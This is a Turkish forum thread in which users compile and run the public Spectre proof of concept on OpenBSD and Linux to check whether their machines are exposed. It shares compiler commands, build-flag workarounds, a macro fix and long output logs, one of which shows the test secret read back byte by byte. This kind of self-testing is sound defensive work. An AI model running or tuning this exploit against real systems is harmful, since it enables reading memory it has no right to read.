Spectre guvenlik aciginda linux ve *BSD sistemlerinin durumu?

Başlatan 7hr33l3t73r, 17 Şubat 2018 - 20:10:01

« önceki - sonraki »

0 Üyeler ve 1 Ziyaretçi konuyu incelemekte.

7hr33l3t73r

Spectre icin  linux ne durumda arkadaslar. *BSD kullananlar da sonuclarini paylasabilir.

Sisteminizi kontrol etmek icin kodlar.
https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6


Ilk sonucu ben paylasayim.

CPU: Intel(R) Core(TM)2 CPU T7200 @ 2.00GHz, 1995.34 MHz

$ sysctl kern.version
kern.version=OpenBSD 6.2-current (GENERIC.MP) #8: Fri Feb 16 22:00:50 MST 2018
    deraadt@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

#Base-clang ile sonuclar.
OpenBSD clang version 5.0.1 (tags/RELEASE_501/final) (based on LLVM 5.0.1)

$ cc -O0 -std=c99 spectre.c -o spectre
$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffefefe0... Unclear: 0x02='?' score=62 (second best: 0x08 score=61)
Reading at malicious_x = 0xffffffffffefefe1... Unclear: 0x09='?' score=59 (second best: 0x07 score=59)
Reading at malicious_x = 0xffffffffffefefe2... Unclear: 0x01='?' score=57 (second best: 0x02 score=56)
Reading at malicious_x = 0xffffffffffefefe3... Unclear: 0x08='?' score=62 (second best: 0x07 score=62)
Reading at malicious_x = 0xffffffffffefefe4... Unclear: 0x08='?' score=61 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffefefe5... Unclear: 0x0A='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffefefe6... Unclear: 0x00='?' score=63 (second best: 0x09 score=61)
Reading at malicious_x = 0xffffffffffefefe7... Unclear: 0x02='?' score=62 (second best: 0x06 score=61)
Reading at malicious_x = 0xffffffffffefefe8... Unclear: 0x00='?' score=63 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffefefe9... Unclear: 0x09='?' score=62 (second best: 0x02 score=62)
Reading at malicious_x = 0xffffffffffefefea... Unclear: 0x03='?' score=62 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffefefeb... Unclear: 0x09='?' score=61 (second best: 0x02 score=61)
Reading at malicious_x = 0xffffffffffefefec... Unclear: 0x03='?' score=62 (second best: 0x02 score=62)
Reading at malicious_x = 0xffffffffffefefed... Unclear: 0x06='?' score=61 (second best: 0x01 score=60)
Reading at malicious_x = 0xffffffffffefefee... Unclear: 0x02='?' score=59 (second best: 0x01 score=58)
Reading at malicious_x = 0xffffffffffefefef... Unclear: 0x0E='?' score=62 (second best: 0x01 score=61)
Reading at malicious_x = 0xffffffffffefeff0... Unclear: 0x02='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffefeff1... Unclear: 0x08='?' score=61 (second best: 0x01 score=61)
Reading at malicious_x = 0xffffffffffefeff2... Unclear: 0x01='?' score=62 (second best: 0x0A score=61)
Reading at malicious_x = 0xffffffffffefeff3... Unclear: 0x02='?' score=62 (second best: 0x01 score=61)
Reading at malicious_x = 0xffffffffffefeff4... Unclear: 0x01='?' score=62 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffefeff5... Unclear: 0x01='?' score=62 (second best: 0x08 score=61)
Reading at malicious_x = 0xffffffffffefeff6... Unclear: 0x02='?' score=62 (second best: 0x01 score=61)
Reading at malicious_x = 0xffffffffffefeff7... Unclear: 0x02='?' score=61 (second best: 0x01 score=61)
Reading at malicious_x = 0xffffffffffefeff8... Unclear: 0x0E='?' score=61 (second best: 0x01 score=61)
Reading at malicious_x = 0xffffffffffefeff9... Unclear: 0x01='?' score=60 (second best: 0x00 score=58)
Reading at malicious_x = 0xffffffffffefeffa... Unclear: 0x07='?' score=59 (second best: 0x01 score=59)
Reading at malicious_x = 0xffffffffffefeffb... Unclear: 0x02='?' score=63 (second best: 0x09 score=61)
Reading at malicious_x = 0xffffffffffefeffc... Unclear: 0x02='?' score=62 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffefeffd... Unclear: 0x01='?' score=62 (second best: 0x0E score=60)
Reading at malicious_x = 0xffffffffffefeffe... Unclear: 0x02='?' score=62 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffefefff... Unclear: 0x02='?' score=63 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffeff000... Unclear: 0x02='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffeff001... Unclear: 0x06='?' score=61 (second best: 0x0E score=60)
Reading at malicious_x = 0xffffffffffeff002... Unclear: 0x08='?' score=61 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff003... Unclear: 0x0E='?' score=62 (second best: 0x02 score=62)
Reading at malicious_x = 0xffffffffffeff004... Unclear: 0x02='?' score=61 (second best: 0x01 score=58)
Reading at malicious_x = 0xffffffffffeff005... Unclear: 0x01='?' score=61 (second best: 0x02 score=60)
Reading at malicious_x = 0xffffffffffeff006... Unclear: 0x0A='?' score=61 (second best: 0x09 score=59)
Reading at malicious_x = 0xffffffffffeff007... Unclear: 0x02='?' score=61 (second best: 0x0E score=60)



$ cc -O1 -std=c99 spectre.c -o spectre
$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffefee88... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee89... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee8a... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee8b... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee8c... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee8d... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee8e... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee8f... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee90... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee91... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee92... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee93... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee94... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee95... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee96... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee97... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee98... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee99... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee9a... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee9b... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee9c... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee9d... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee9e... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefee9f... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea0... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea1... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea2... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea3... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea4... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea5... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea6... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea7... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea8... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeea9... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeeaa... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeeab... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeeac... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeead... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeeae... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefeeaf... Success: 0xFF='?' score=0

gcc version 4.9.4 (GCC)  ile sonuclar

$ egcc -O0 -std=c99 spectre.c -o spectre
~/code
$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffeff028... Unclear: 0x09='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffeff029... Unclear: 0x01='?' score=62 (second best: 0x0E score=60)
Reading at malicious_x = 0xffffffffffeff02a... Unclear: 0x09='?' score=62 (second best: 0x08 score=62)
Reading at malicious_x = 0xffffffffffeff02b... Unclear: 0x0E='?' score=61 (second best: 0x09 score=61)
Reading at malicious_x = 0xffffffffffeff02c... Unclear: 0x02='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffeff02d... Unclear: 0x01='?' score=62 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff02e... Unclear: 0x01='?' score=62 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff02f... Unclear: 0x01='?' score=63 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffeff030... Unclear: 0x0E='?' score=59 (second best: 0x06 score=59)
Reading at malicious_x = 0xffffffffffeff031... Unclear: 0x09='?' score=60 (second best: 0x0E score=58)
Reading at malicious_x = 0xffffffffffeff032... Unclear: 0x01='?' score=62 (second best: 0x09 score=60)
Reading at malicious_x = 0xffffffffffeff033... Unclear: 0x01='?' score=62 (second best: 0x07 score=60)
Reading at malicious_x = 0xffffffffffeff034... Unclear: 0x01='?' score=63 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff035... Unclear: 0x08='?' score=62 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff036... Unclear: 0x09='?' score=61 (second best: 0x08 score=61)
Reading at malicious_x = 0xffffffffffeff037... Unclear: 0x09='?' score=61 (second best: 0x08 score=61)
Reading at malicious_x = 0xffffffffffeff038... Unclear: 0x09='?' score=62 (second best: 0x06 score=62)
Reading at malicious_x = 0xffffffffffeff039... Unclear: 0x09='?' score=61 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff03a... Unclear: 0x0E='?' score=61 (second best: 0x0D score=61)
Reading at malicious_x = 0xffffffffffeff03b... Unclear: 0x06='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffeff03c... Unclear: 0x09='?' score=60 (second best: 0x08 score=60)
Reading at malicious_x = 0xffffffffffeff03d... Unclear: 0x07='?' score=60 (second best: 0x0E score=58)
Reading at malicious_x = 0xffffffffffeff03e... Unclear: 0x0E='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffeff03f... Unclear: 0x07='?' score=60 (second best: 0x06 score=60)
Reading at malicious_x = 0xffffffffffeff040... Unclear: 0x00='?' score=60 (second best: 0x0E score=60)
Reading at malicious_x = 0xffffffffffeff041... Unclear: 0x0E='?' score=61 (second best: 0x0D score=61)
Reading at malicious_x = 0xffffffffffeff042... Unclear: 0x01='?' score=62 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffeff043... Unclear: 0x01='?' score=62 (second best: 0x0E score=60)
Reading at malicious_x = 0xffffffffffeff044... Unclear: 0x01='?' score=63 (second best: 0x0E score=61)
Reading at malicious_x = 0xffffffffffeff045... Unclear: 0x01='?' score=62 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff046... Unclear: 0x06='?' score=62 (second best: 0x05 score=62)
Reading at malicious_x = 0xffffffffffeff047... Unclear: 0x0E='?' score=61 (second best: 0x08 score=61)
Reading at malicious_x = 0xffffffffffeff048... Unclear: 0x01='?' score=60 (second best: 0x0E score=58)
Reading at malicious_x = 0xffffffffffeff049... Unclear: 0x06='?' score=58 (second best: 0x01 score=58)
Reading at malicious_x = 0xffffffffffeff04a... Unclear: 0x0E='?' score=61 (second best: 0x01 score=61)
Reading at malicious_x = 0xffffffffffeff04b... Unclear: 0x01='?' score=62 (second best: 0x07 score=61)
Reading at malicious_x = 0xffffffffffeff04c... Unclear: 0x09='?' score=62 (second best: 0x01 score=62)
Reading at malicious_x = 0xffffffffffeff04d... Unclear: 0x01='?' score=62 (second best: 0x0E score=60)
Reading at malicious_x = 0xffffffffffeff04e... Unclear: 0x06='?' score=61 (second best: 0x05 score=61)
Reading at malicious_x = 0xffffffffffeff04f... Unclear: 0x08='?' score=62 (second best: 0x07 score=62)

#-march=native -01

$ egcc -march=native -O1 -std=c99 spectre.c -o spectre
~/code
$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffefef50... Success: 0x54='T' score=2
Reading at malicious_x = 0xffffffffffefef51... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffefef52... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffefef53... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffefef54... Success: 0x4D='M' score=2
Reading at malicious_x = 0xffffffffffefef55... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffefef56... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffefef57... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffefef58... Success: 0x63='c' score=2
Reading at malicious_x = 0xffffffffffefef59... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffefef5a... Success: 0x57='W' score=2
Reading at malicious_x = 0xffffffffffefef5b... Success: 0x6F='o' score=2
Reading at malicious_x = 0xffffffffffefef5c... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffefef5d... Success: 0x64='d' score=2
Reading at malicious_x = 0xffffffffffefef5e... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffefef5f... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffefef60... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffefef61... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffefef62... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffefef63... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffefef64... Success: 0x53='S' score=2
Reading at malicious_x = 0xffffffffffefef65... Success: 0x71='q' score=2
Reading at malicious_x = 0xffffffffffefef66... Success: 0x75='u' score=2
Reading at malicious_x = 0xffffffffffefef67... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffefef68... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffefef69... Success: 0x6D='m' score=2
Reading at malicious_x = 0xffffffffffefef6a... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffefef6b... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffefef6c... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffefef6d... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffefef6e... Success: 0x4F='O' score=2
Reading at malicious_x = 0xffffffffffefef6f... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffefef70... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffefef71... Success: 0x69='i' score=2 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffefef72... Success: 0xFF='?' score=0
Reading at malicious_x = 0xffffffffffefef73... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffefef74... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffefef75... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffefef76... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffefef77... Success: 0x2E='.' score=2


Sizler de durum nedir?
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

Ben de sadece gcc olduğundan onla denedim ama şu uyarıyı veriyor:
spectre.c:50:29: hata: "80" makro parametre listesinde görünmeyebilir                                                                 
#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */                                                           
                             ^~                                                                                                       
spectre.c: 'readMemoryByte' işlevinde:                                                                                                 
spectre.c:92:20: hata: 'CACHE_HIT_THRESHOLD' undeclared (first use in this function)                                                   
       if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])                                                       
                    ^~~~~~~~~~~~~~~~~~~                                                                                               
spectre.c:92:20: bilgi: each undeclared identifier is reported only once for each function it appears in                               
spectre.c: 'main' işlevinde:                                                                                                           
spectre.c:136:51: UYARI: koşullu ifadede gösterici/tamsayı tür uyumsuzluğu                                                             
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

Asagidaki duzenlemeyi yapiniz!

< #define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */                                                           
> #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */                                                           
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

betseg

$ dmesg | grep iso
[    0.000000] Kernel/User page tables isolation: enabled


Linux kernel patchlendi bile.

7hr33l3t73r

Alıntı yapılan: betseg - 17 Şubat 2018 - 20:58:04
$ dmesg | grep iso
[    0.000000] Kernel/User page tables isolation: enabled


Linux kernel patchlendi bile.
O zaman guvende linuxcular.(!) :)
Spectre cok tehlikeli bir acik ve yazilimsal olarak kapatmak zor. Cesitleri cikacaktir ve cikma yolunda gidiyor. :)
Yeni donanim ile guvende olabiliriz. Bana bu daha buz daginin gorunen kismi gibi geliyor. :)
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

└──>>gcc -O0 -std=c99 spectre.c -o spectre
spectre.c: 'main' işlevinde:
spectre.c:136:51: UYARI: koşullu ifadede gösterici/tamsayı tür uyumsuzluğu
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
└──>>./spectre
Reading 40 bytes:
Yönerge kuraldışı (çekirdek döküldü)

Yine bir hata veriyor.


Mesaj tekrarı yüzünden mesajınız birleştirildi. Bu mesajın gönderim tarihi : 17 Şubat 2018 - 21:23:56

Tamam hallettim hatayı ama sonuç bu:
└──>>gcc -O0 -std=c99 spectre.c -o spectre
┌─[cokomoko]──[cokomoko]:/tmp$
└──>>./spectre
Reading 40 bytes:
Yönerge kuraldışı (çekirdek döküldü)

''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

Onla da bu sonucu verdi:
┌─[cokomoko]──[cokomoko]:/tmp/SpectrePoC-master/SpectrePoC-master$
└──>>gcc -O0 -std=c99 spectre.c -o spectre
┌─[cokomoko]──[cokomoko]:/tmp/SpectrePoC-master/SpectrePoC-master$
└──>>./spectre
Using a cache hit threshold of 80.
Build: RDTSCP_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED
Reading 40 bytes:
Yönerge kuraldışı (çekirdek döküldü)

''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

#8
Birde soyle alalim. :)
$ CFLAGS=-DNORDTSCP make
$ ./spectre.out 100


Bu arada islemci modeli ve sistemleri de yazarsaniz daha iyi olur.
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

Şimdi oldu:
└──>>./spectre.out
Using a cache hit threshold of 80.
Build: RDTSCP_NOT_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee38... Unclear: 0x02='?' score=36 (second best: 0x09='?' score=35)
Reading at malicious_x = 0xffffffffffdfee39... Unclear: 0x06='?' score=62 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3a... Unclear: 0x0A='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3b... Unclear: 0x0E='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee3c... Unclear: 0x09='?' score=61 (second best: 0x01='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3d... Unclear: 0x06='?' score=62 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3e... Unclear: 0x08='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee3f... Unclear: 0x06='?' score=61 (second best: 0x00='?' score=60)
Reading at malicious_x = 0xffffffffffdfee40... Unclear: 0x09='?' score=61 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee41... Unclear: 0x0A='?' score=61 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee42... Unclear: 0x09='?' score=62 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee43... Unclear: 0x01='?' score=62 (second best: 0x0A='?' score=61)
Reading at malicious_x = 0xffffffffffdfee44... Unclear: 0x0E='?' score=62 (second best: 0x07='?' score=62)
Reading at malicious_x = 0xffffffffffdfee45... Unclear: 0x06='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee46... Unclear: 0x06='?' score=62 (second best: 0x00='?' score=63)
Reading at malicious_x = 0xffffffffffdfee47... Unclear: 0x0E='?' score=62 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee48... Unclear: 0x0E='?' score=61 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee49... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4a... Unclear: 0x08='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee4b... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4c... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4d... Unclear: 0x0A='?' score=61 (second best: 0x01='?' score=61)
Reading at malicious_x = 0xffffffffffdfee4e... Unclear: 0x01='?' score=63 (second best: 0x08='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4f... Unclear: 0x02='?' score=62 (second best: 0x0A='?' score=61)
Reading at malicious_x = 0xffffffffffdfee50... Unclear: 0x07='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee51... Unclear: 0x02='?' score=62 (second best: 0x0A='?' score=61)
Reading at malicious_x = 0xffffffffffdfee52... Unclear: 0x0E='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee53... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=61)
Reading at malicious_x = 0xffffffffffdfee54... Unclear: 0x02='?' score=62 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee55... Unclear: 0x0E='?' score=61 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee56... Unclear: 0x0E='?' score=61 (second best: 0x07='?' score=60)
Reading at malicious_x = 0xffffffffffdfee57... Unclear: 0x02='?' score=62 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee58... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee59... Unclear: 0x07='?' score=62 (second best: 0x06='?' score=62)
Reading at malicious_x = 0xffffffffffdfee5a... Unclear: 0x02='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee5b... Unclear: 0x07='?' score=61 (second best: 0x00='?' score=60)
Reading at malicious_x = 0xffffffffffdfee5c... Unclear: 0x0A='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee5d... Unclear: 0x01='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee5e... Unclear: 0x0E='?' score=61 (second best: 0x00='?' score=60)
Reading at malicious_x = 0xffffffffffdfee5f... Unclear: 0x0E='?' score=61 (second best: 0x0A='?' score=61)

''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

Alıntı yapılan: cokomoko - 17 Şubat 2018 - 21:43:27
Şimdi oldu:
└──>>./spectre.out
Using a cache hit threshold of 80.
Build: RDTSCP_NOT_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee38... Unclear: 0x02='?' score=36 (second best: 0x09='?' score=35)
Reading at malicious_x = 0xffffffffffdfee39... Unclear: 0x06='?' score=62 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3a... Unclear: 0x0A='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3b... Unclear: 0x0E='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee3c... Unclear: 0x09='?' score=61 (second best: 0x01='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3d... Unclear: 0x06='?' score=62 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3e... Unclear: 0x08='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee3f... Unclear: 0x06='?' score=61 (second best: 0x00='?' score=60)
Reading at malicious_x = 0xffffffffffdfee40... Unclear: 0x09='?' score=61 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee41... Unclear: 0x0A='?' score=61 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee42... Unclear: 0x09='?' score=62 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee43... Unclear: 0x01='?' score=62 (second best: 0x0A='?' score=61)
Reading at malicious_x = 0xffffffffffdfee44... Unclear: 0x0E='?' score=62 (second best: 0x07='?' score=62)
Reading at malicious_x = 0xffffffffffdfee45... Unclear: 0x06='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee46... Unclear: 0x06='?' score=62 (second best: 0x00='?' score=63)
Reading at malicious_x = 0xffffffffffdfee47... Unclear: 0x0E='?' score=62 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee48... Unclear: 0x0E='?' score=61 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee49... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4a... Unclear: 0x08='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee4b... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4c... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4d... Unclear: 0x0A='?' score=61 (second best: 0x01='?' score=61)
Reading at malicious_x = 0xffffffffffdfee4e... Unclear: 0x01='?' score=63 (second best: 0x08='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4f... Unclear: 0x02='?' score=62 (second best: 0x0A='?' score=61)
Reading at malicious_x = 0xffffffffffdfee50... Unclear: 0x07='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee51... Unclear: 0x02='?' score=62 (second best: 0x0A='?' score=61)
Reading at malicious_x = 0xffffffffffdfee52... Unclear: 0x0E='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee53... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=61)
Reading at malicious_x = 0xffffffffffdfee54... Unclear: 0x02='?' score=62 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee55... Unclear: 0x0E='?' score=61 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee56... Unclear: 0x0E='?' score=61 (second best: 0x07='?' score=60)
Reading at malicious_x = 0xffffffffffdfee57... Unclear: 0x02='?' score=62 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee58... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee59... Unclear: 0x07='?' score=62 (second best: 0x06='?' score=62)
Reading at malicious_x = 0xffffffffffdfee5a... Unclear: 0x02='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee5b... Unclear: 0x07='?' score=61 (second best: 0x00='?' score=60)
